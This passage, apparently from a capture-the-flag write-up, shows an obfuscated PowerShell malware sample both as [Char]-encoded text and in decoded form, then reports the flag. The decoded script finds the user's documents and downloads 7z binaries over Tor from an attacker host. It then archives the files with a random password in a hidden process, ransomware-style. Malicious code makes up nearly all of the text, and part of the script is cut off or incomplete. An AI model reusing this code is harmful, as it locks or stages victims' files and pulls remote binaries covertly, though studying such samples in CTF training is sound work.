[Char]124 + [Char]32 + [Char]83 + [Char]111 + [Char]114 + [Char]116 + [Char]45 + [Char]79 + [Char]98 + [Char]106 + [Char]101 + [Char]99 + [Char]116 + [Char]32 + [Char]123 + [Char]71 + [Char]101 + [Char]116 + [Char]45 + [Char]82 + [Char]97 + [Char]110 + [Char]100 + [Char]111 + [Char]109 + [Char]125 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]36 + [Char]114 + [Char]101 + [Char]115 + [Char]32 + [Char]61 + [Char]32 + [Char]36 + [Char]114 + [Char]101 + [Char]115 + [Char]32 + [Char]45 + [Char]106 + [Char]111 + [Char]105 + [Char]110 + [Char]32 + [Char]39 + [Char]39 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]114 + [Char]101 + [Char]116 + [Char]117 + [Char]114 + [Char]110 + [Char]32 + [Char]36 + [Char]114 + [Char]101 + [Char]115 + [Char]59 + [Char]32 + [Char]10 + [Char]125 + [Char]10 + [Char]10 + [Char]102 + [Char]117 + [Char]110 + [Char]99 + [Char]116 + [Char]105 + [Char]111 + [Char]110 + [Char]32 + [Char]109 + [Char]97 + [Char]107 + [Char]101 + [Char]70 + [Char]105 + [Char]108 + [Char]101 + [Char]76 + [Char]105 + [Char]115 + [Char]116 + [Char]10 + [Char]123 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]36 + [Char]102 + [Char]105 + [Char]108 + [Char]101 + [Char]115 + [Char]32 + [Char]61 + [Char]32 + [Char]99 + [Char]109 + [Char]100 + [Char]32 + [Char]47 + [Char]99 + [Char]32 + [Char]119 + [Char]104 + [Char]101 + [Char]114 + [Char]101 + [Char]32 + [Char]47 + [Char]114 + [Char]32 + [Char]36 + [Char]101 + [Char]110 + [Char]118 + [Char]58 + [Char]85 + [Char]83 + [Char]69 + [Char]82 + [Char]80 + [Char]82 + [Char]79 + [Char]70 + [Char]73 + [Char]76 + [Char]69 + [Char]32 + [Char]42 + [Char]46 + [Char]112 + [Char]100 + [Char]102 + [Char]32 + [Char]42 + [Char]46 + [Char]100 + [Char]111 + [Char]99 + [Char]32 + [Char]42 + [Char]46 + [Char]100 + [Char]111 + [Char]99 + [Char]120 + [Char]32 + [Char]42 + [Char]46 + [Char]120 + [Char]108 + [Char]115 + [Char]32 + [Char]42 + [Char]46 + [Char]120 + [Char]108 + [Char]115 + [Char]120 + [Char]32 + [Char]42 + [Char]46 + [Char]112 + [Char]112 + [Char]116 + [Char]120 + [Char]32 + [Char]42 + [Char]46 + [Char]112 + [Char]112 + [Char]116 + [Char]32 + [Char]42 + [Char]46 + [Char]116 + [Char]120 + [Char]116 + [Char]32 + [Char]42 + [Char]46 + [Char]99 + [Char]115 + [Char]118 + [Char]32 + [Char]42 + [Char]46 + [Char]104 + [Char]116 + [Char]109 + [Char]32 + [Char]42 + [Char]46 + [Char]104 + [Char]116 + [Char]109 + [Char]108 + [Char]32 + [Char]42 + [Char]46 + [Char]112 + [Char]104 + [Char]112 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]36 + [Char]76 + [Char]105 + [Char]115 + [Char]116 + [Char]32 + [Char]61 + [Char]32 + [Char]36 + [Char]102 + [Char]105 + [Char]108 + [Char]101 + [Char]115 + [Char]32 + [Char]45 + [Char]115 + [Char]112 + [Char]108 + [Char]105 + [Char]116 + [Char]32 + [Char]39 + [Char]92 + [Char]114 + [Char]39 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]114 + [Char]101 + [Char]116 + [Char]117 + [Char]114 + [Char]110 + [Char]32 + [Char]36 + [Char]76 + [Char]105 + [Char]115 + [Char]116 + [Char]59 + [Char]10 + [Char]125 + [Char]10 + [Char]10 + [Char]102 + [Char]117 + [Char]110 + [Char]99 + [Char]116 + [Char]105 + [Char]111 + [Char]110 + [Char]32 + [Char]99 + [Char]111 + [Char]109 + [Char]112 + [Char]114 + [Char]101 + [Char]115 + [Char]115 + [Char]40 + [Char]36 + [Char]80 + [Char]97 + [Char]115 + [Char]115 + [Char]41 + [Char]10 + [Char]123 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]36 + [Char]116 + [Char]109 + [Char]112 + [Char]32 + [Char]61 + [Char]32 + [Char]36 + [Char]101 + [Char]110 + [Char]118 + [Char]58 + [Char]84 + [Char]69 + [Char]77 + [Char]80 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]36 + [Char]115 + [Char]32 + [Char]61 + [Char]32 + [Char]39 + [Char]104 + [Char]116 + [Char]116 + [Char]112 + [Char]115 + [Char]58 + [Char]47 + [Char]47 + [Char]114 + [Char]101 + [Char]108 + [Char]105 + [Char]99 + [Char]45 + [Char]114 + [Char]101 + [Char]99 + [Char]108 + [Char]97 + [Char]109 + [Char]97 + [Char]116 + [Char]105 + [Char]111 + [Char]110 + [Char]45 + [Char]97 + [Char]110 + [Char]111 + [Char]110 + [Char]121 + [Char]109 + [Char]111 + [Char]117 + [Char]115 + [Char]46 + [Char]97 + [Char]108 + [Char]105 + [Char]101 + [Char]110 + [Char]58 + [Char]49 + [Char]51 + [Char]51 + [Char]55 + [Char]47 + [Char]112 + [Char]114 + [Char]111 + [Char]103 + [Char]47 + [Char]39 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]36 + [Char]108 + [Char]105 + [Char]110 + [Char]107 + [Char]95 + [Char]55 + [Char]122 + [Char]100 + [Char]108 + [Char]108 + [Char]32 + [Char]61 + [Char]32 + [Char]36 + [Char]115 + [Char]32 + [Char]43 + [Char]32 + [Char]39 + [Char]55 + [Char]122 + [Char]46 + [Char]100 + [Char]108 + [Char]108 + [Char]39 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]36 + [Char]108 + [Char]105 + [Char]110 + [Char]107 + [Char]95 + [Char]55 + [Char]122 + [Char]101 + [Char]120 + [Char]101 + [Char]32 + [Char]61 + [Char]32 + [Char]36 + [Char]115 + [Char]32 + [Char]43 + [Char]32 + [Char]39 + [Char]55 + [Char]122 + [Char]46 + [Char]101 + [Char]120 + [Char]101 + [Char]39 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]36 + [Char]55 + [Char]122 + [Char]100 + [Char]108 + [Char]108 + [Char]32 + [Char]61 + [Char]32 + [Char]39 + [Char]34 + [Char]39 + [Char]43 + [Char]36 + [Char]116 + [Char]109 + [Char]112 + [Char]43 + [Char]39 + [Char]92 + [Char]55 + [Char]122 + [Char]46 + [Char]100 + [Char]108 + [Char]108 + [Char]34 + [Char]39 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]36 + [Char]55 + [Char]122 + [Char]101 + [Char]120 + [Char]101 + [Char]32 + [Char]61 + [Char]32 + [Char]39 + [Char]34 + [Char]39 + [Char]43 + [Char]36 + [Char]116 + [Char]109 + [Char]112 + [Char]43 + [Char]39 + [Char]92 + [Char]55 + [Char]122 + [Char]46 + [Char]101 + [Char]120 + [Char]101 + [Char]34 + [Char]39 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]99 + [Char]109 + [Char]100 + [Char]32 + [Char]47 + [Char]99 + [Char]32 + [Char]99 + [Char]117 + [Char]114 + [Char]108 + [Char]32 + [Char]45 + [Char]115 + [Char]32 + [Char]45 + [Char]120 + [Char]32 + [Char]115 + [Char]111 + [Char]99 + [Char]107 + [Char]115 + [Char]53 + [Char]104 + [Char]58 + [Char]47 + [Char]47 + [Char]108 + [Char]111 + [Char]99 + [Char]97 + [Char]108 + [Char]104 + [Char]111 + [Char]115 + [Char]116 + [Char]58 + [Char]57 + [Char]48 + [Char]53 + [Char]48 + [Char]32 + [Char]36 + [Char]108 + [Char]105 + [Char]110 + [Char]107 + [Char]95 + [Char]55 + [Char]122 + [Char]100 + [Char]108 + [Char]108 + [Char]32 + [Char]45 + [Char]111 + [Char]32 + [Char]36 + [Char]55 + [Char]122 + [Char]100 + [Char]108 + [Char]108 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]99 + [Char]109 + [Char]100 + [Char]32 + [Char]47 + [Char]99 + [Char]32 + [Char]99 + [Char]117 + [Char]114 + [Char]108 + [Char]32 + [Char]45 + [Char]115 + [Char]32 + [Char]45 + [Char]120 + [Char]32 + [Char]115 + [Char]111 + [Char]99 + [Char]107 + [Char]115 + [Char]53 + [Char]104 + [Char]58 + [Char]47 + [Char]47 + [Char]108 + [Char]111 + [Char]99 + [Char]97 + [Char]108 + [Char]104 + [Char]111 + [Char]115 + [Char]116 + [Char]58 + [Char]57 + [Char]48 + [Char]53 + [Char]48 + [Char]32 + [Char]36 + [Char]108 + [Char]105 + [Char]110 + [Char]107 + [Char]95 + [Char]55 + [Char]122 + [Char]101 + [Char]120 + [Char]101 + [Char]32 + [Char]45 + [Char]111 + [Char]32 + [Char]36 + [Char]55 + [Char]122 + [Char]101 + [Char]120 + [Char]101 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]36 + [Char]97 + [Char]114 + [Char]103 + [Char]69 + [Char]120 + [Char]116 + [Char]101 + [Char]110 + [Char]115 + [Char]105 + [Char]111 + [Char]110 + [Char]115 + [Char]32 + [Char]61 + [Char]32 + [Char]39 + [Char]42 + [Char]46 + [Char]112 + [Char]100 + [Char]102 + [Char]32 + [Char]42 + [Char]46 + [Char]100 + [Char]111 + [Char]99 + [Char]32 + [Char]42 + [Char]46 + [Char]100 + [Char]111 + [Char]99 + [Char]120 + [Char]32 + [Char]42 + [Char]46 + [Char]120 + [Char]108 + [Char]115 + [Char]32 + [Char]42 + [Char]46 + [Char]120 + [Char]108 + [Char]115 + [Char]120 + [Char]32 + [Char]42 + [Char]46 + [Char]112 + [Char]112 + [Char]116 + [Char]120 + [Char]32 + [Char]42 + [Char]46 + [Char]112 + [Char]112 + [Char]116 + [Char]32 + [Char]42 + [Char]46 + [Char]116 + [Char]120 + [Char]116 + [Char]32 + [Char]42 + [Char]46 + [Char]99 + [Char]115 + [Char]118 + [Char]32 + [Char]42 + [Char]46 + [Char]104 + [Char]116 + [Char]109 + [Char]32 + [Char]42 + [Char]46 + [Char]104 + [Char]116 + [Char]109 + [Char]108 + [Char]32 + [Char]42 + [Char]46 + [Char]112 + [Char]104 + [Char]112 + [Char]39 + [Char]59 + [Char]10 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]36 + [Char]97 + [Char]114 + [Char]103 + [Char]79 + [Char]117 + [Char]116 + [Char]32 + [Char]61 + [Char]32 + [Char]39 + [Char]68 + [Char]101 + [Char]115 + [Char]107 + [Char]116 + [Char]111 + [Char]112 + [Char]92 + [Char]65 + [Char]108 + [Char]108 + [Char]89 + [Char]111 + [Char]117 + [Char]114 + [Char]82 + [Char]101 + [Char]108 + [Char]105 + [Char]107 + [Char]82 + [Char]101 + [Char]115 + [Char]101 + [Char]97 + [Char]114 + [Char]99 + [Char]104 + [Char]72 + [Char]97 + [Char]104 + [Char]97 + [Char]104 + [Char]97 + [Char]95 + [Char]123 + [Char]48 + [Char]125 + [Char]46 + [Char]122 + [Char]105 + [Char]112 + [Char]39 + [Char]32 + [Char]45 + [Char]102 + [Char]32 + [Char]40 + [Char]71 + [Char]101 + [Char]116 + [Char]45 + [Char]82 + [Char]97 + [Char]110 + [Char]100 + [Char]111 + [Char]109 + [Char]32 + [Char]45 + [Char]77 + [Char]105 + [Char]110 + [Char]105 + [Char]109 + [Char]117 + [Char]109 + [Char]32 + [Char]49 + [Char]48 + [Char]48 + [Char]48 + [Char]48 + [Char]48 + [Char]32 + [Char]45 + [Char]77 + [Char]97 + [Char]120 + [Char]105 + [Char]109 + [Char]117 + [Char]109 + [Char]32 + [Char]50 + [Char]48 + [Char]48 + [Char]48 + [Char]48 + [Char]48 + [Char]41 + [Char]46 + [Char]84 + [Char]111 + [Char]83 + [Char]116 + [Char]114 + [Char]105 + [Char]110 + [Char]103 + [Char]40 + [Char]41 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]36 + [Char]97 + [Char]114 + [Char]103 + [Char]80 + [Char]97 + [Char]115 + [Char]115 + [Char]32 + [Char]61 + [Char]32 + [Char]39 + [Char]45 + [Char]112 + [Char]39 + [Char]32 + [Char]43 + [Char]32 + [Char]36 + [Char]80 + [Char]97 + [Char]115 + [Char]115 + [Char]59 + [Char]10 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]83 + [Char]116 + [Char]97 + [Char]114 + [Char]116 + [Char]45 + [Char]80 + [Char]114 + [Char]111 + [Char]99 + [Char]101 + [Char]115 + [Char]115 + [Char]32 + [Char]45 + [Char]87 + [Char]105 + [Char]110 + [Char]100 + [Char]111 + [Char]119 + [Char]83 + [Char]116 + [Char]121 + [Char]108 + [Char]101 + [Char]32 + [Char]72 + [Char]105 + [Char]100 + [Char]100 + [Char]101 + [Char]110 + [Char]32 + [Char]45 + [Char]87 + [Char]97 + [Char]105 + [Char]116 + [Char]32 + [Char]45 + [Char]70 + [Char]105 + [Char]108 + [Char]101 + [Char]80 + [Char]97 + [Char]116 + [Char]104 + [Char]32 + [Char]36 + [Char]116 + [Char]109 + [Char]112 + [Char]39 + [Char]92 + [Char]55 + [Char]122 + [Char]46 + [Char]101 + [Char]120 + [Char]101 + [Char]39 + [Char]32 + [Char]45 + [Char]65 + [Char]114 + [Char]103 + [Char]117 + [Char]109 + [Char]101 + [Char]110 + [Char]116 + [Char]76 + [Char]105 + [Char]115 + [Char]116 + [Char]32 + [Char]39 + [Char]97 + [Char]39 + [Char]44 + [Char]32 + [Char]36 + [Char]97 + [Char]114 + [Char]103 + [Char]79 + [Char]117 + [Char]116 + [Char]44 + [Char]32 + [Char]39 + [Char]45 + [Char]114 + [Char]39 + [Char]44 + [Char]32 + [Char]36 + [Char]97 + [Char]114 + [Char]103 + [Char]69 + [Char]120 + [Char]116 + [Char]101 + [Char]110 + [Char]115 + [Char]105 + [Char]111 + [Char]110 + [Char]115 + [Char]44 + [Char]32 + [Char]36 + [Char]97 + [Char]114 + [Char]103 + [Char]80 + [Char]97 + [Char]115 + [Char]115 + [Char]32 + [Char]45 + [Char]69 + [Char]114 + [Char]114 + [Char]111 + [Char]114 + [Char]65 + [Char]99 + [Char]116 + [Char]105 + [Char]111 + [Char]110 + [Char]32 + [Char]83 + [Char]116 + [Char]111 + [Char]112 + [Char]59 + [Char]10 + [Char]125 + [Char]10 + [Char]10 + [Char]36 + [Char]80 + [Char]97 + [Char]115 + [Char]115 + [Char]32 + [Char]61 + [Char]32 + [Char]109 + [Char]97 + [Char]107 + [Char]101 + [Char]80 + [Char]97 + [Char]115 + [Char]115 + [Char]59 + [Char]10 + [Char]36 + [Char]102 + [Char]105 + [Char]108 + [Char]101 + [Char]76 + [Char]105 + [Char]115 + [Char]116 + [Char]32 + [Char]61 + [Char]32 + [Char]64 + [Char]40 + [Char]109 + [Char]97 + [Char]107 + [Char]101 + [Char]70 + [Char]105 + [Char]108 + [Char]101 + [Char]76 + [Char]105 + [Char]115 + [Char]116 + [Char]41 + [Char]59 + [Char]10 + [Char]36 + [Char]102 + [Char]105 + [Char]108 + [Char]101 + [Char]82 + [Char]101 + [Char]115 + [Char]117 + [Char]108 + [Char]116 + [Char]32 + [Char]61 + [Char]32 + [Char]109 + [Char]97 + [Char]107 + [Char]101 + [Char]70 + [Char]105 + [Char]108 + [Char]101 + [Char]76 + [Char]105 + [Char]115 + [Char]116 + [Char]84 + [Char]97 + [Char]98 + [Char]108 + [Char]101 + [Char]32 + [Char]36 + [Char]102 + [Char]105 + [Char]108 + [Char]101 + [Char]76 + [Char]105 + [Char]115 + [Char]116 + [Char]59 + [Char]10 + [Char]99 + [Char]111 + [Char]109 + [Char]112 + [Char]114 + [Char]101 + [Char]115 + [Char]115 + [Char]32 + [Char]36 + [Char]80 + [Char]97 + [Char]115 + [Char]115 + [Char]59 + [Char]10 + [Char]36 + [Char]84 + [Char]111 + [Char]112 + [Char]83 + [Char]101 + [Char]99 + [Char]114 + [Char]101 + [Char]116 + [Char]67 + [Char]111 + [Char]100 + [Char]101 + [Char]84 + [Char]111 + [Char]68 + [Char]105 + [Char]115 + [Char]97 + [Char]98 + [Char]108 + [Char]101 + [Char]83 + [Char]99 + [Char]114 + [Char]105 + [Char]112 + [Char]116 + [Char]32 + [Char]61 + [Char]32 + [Char]34 + [Char]72 + [Char]84 + [Char]66 + [Char]123 + [Char]89 + [Char]48 + [Char]85 + [Char]95 + [Char]67 + [Char]52 + [Char]110 + [Char]116 + [Char]95 + [Char]83 + [Char]116 + [Char]48 + [Char]112 + [Char]95 + [Char]84 + [Char]104 + [Char]51 + [Char]95 + [Char]65 + [Char]108 + [Char]108 + [Char]105 + [Char]52 + [Char]110 + [Char]99 + [Char]51 + [Char]125 + [Char]34 + [Char]10
### . . . . . . . . . + .
### . . : . .. :. .___---------___.
### . . . . :.:. _".^ .^ ^. '.. :"-_. .
### . : . . .:../: . .^ :.:\.
### . . :: +. :.:/: . . . . . .:\
### . : . . _ :::/: .:\
### .. . . . - : :.:./. .:\
### . . : . : .:.|. ###### #######::|
### :.. . :- : .: ::|.####### ########:|
### . . . .. . .. :\ ######## ######## :/
### . .+ :: : -.:\ ######## ########.:/
### . .+ . . . . :.:\. ####### #######..:/
### :: . . . . ::.:..:.\ ..:/
### . . . .. : -::::.\. | | .:/
### . : . . .-:.":.::.\ .:/
### . -. . . . .: .:::.:.\ .:/
### . . . : : ....::_:..:\ ___ :/
### . . . .:. .. . .: :.:.:\ :/
### + . . : . ::. :.:. .:.|\ .:/|
### SCRIPT TO DELAY HUMAN RESEARCH ON RELIC RECLAMATION
### STAY QUIET - HACK THE HUMANS - STEAL THEIR SECRETS - FIND THE RELIC
### GO ALLIENS ALLIANCE !!!
function makePass
{
$alph=@();
65..90|foreach-object{$alph+=[char]$_};
$num=@();
48..57|foreach-object{$num+=[char]$_};
$res = $num + $alph | Sort-Object {Get-Random};
$res = $res -join '';
return $res;
}
function makeFileList
{
$files = cmd /c where /r $env:USERPROFILE *.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php;
$List = $files -split '\r';
return $List;
}
function compress($Pass)
{
$tmp = $env:TEMP;
$s = 'https://relic-reclamation-anonymous.alien:1337/prog/';
$link_7zdll = $s + '7z.dll';
$link_7zexe = $s + '7z.exe';
$7zdll = '"'+$tmp+'\7z.dll"';
$7zexe = '"'+$tmp+'\7z.exe"';
cmd /c curl -s -x socks5h://localhost:9050 $link_7zdll -o $7zdll;
cmd /c curl -s -x socks5h://localhost:9050 $link_7zexe -o $7zexe;
$argExtensions = '*.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php';
$argOut = 'Desktop\AllYourRelikResearchHahaha_{0}.zip' -f (Get-Random -Minimum 100000 -Maximum 200000).ToString();
$argPass = '-p' + $Pass;
Start-Process -WindowStyle Hidden -Wait -FilePath $tmp'\7z.exe' -ArgumentList 'a', $argOut, '-r', $argExtensions, $argPass -ErrorAction Stop;
}
$Pass = makePass;
$fileList = @(makeFileList);
$fileResult = makeFileListTable $fileList;
compress $Pass;
$TopSecretCodeToDisableScript = "HTB{Y0U_C4nt_St0p_Th3_Alli4nc3}"
Nice, this looks like the final PowerShell script.
Flag
What’s more important, the flag is there (HTB{Y0U_C4nt_St0p_Th3_Alli4nc3}).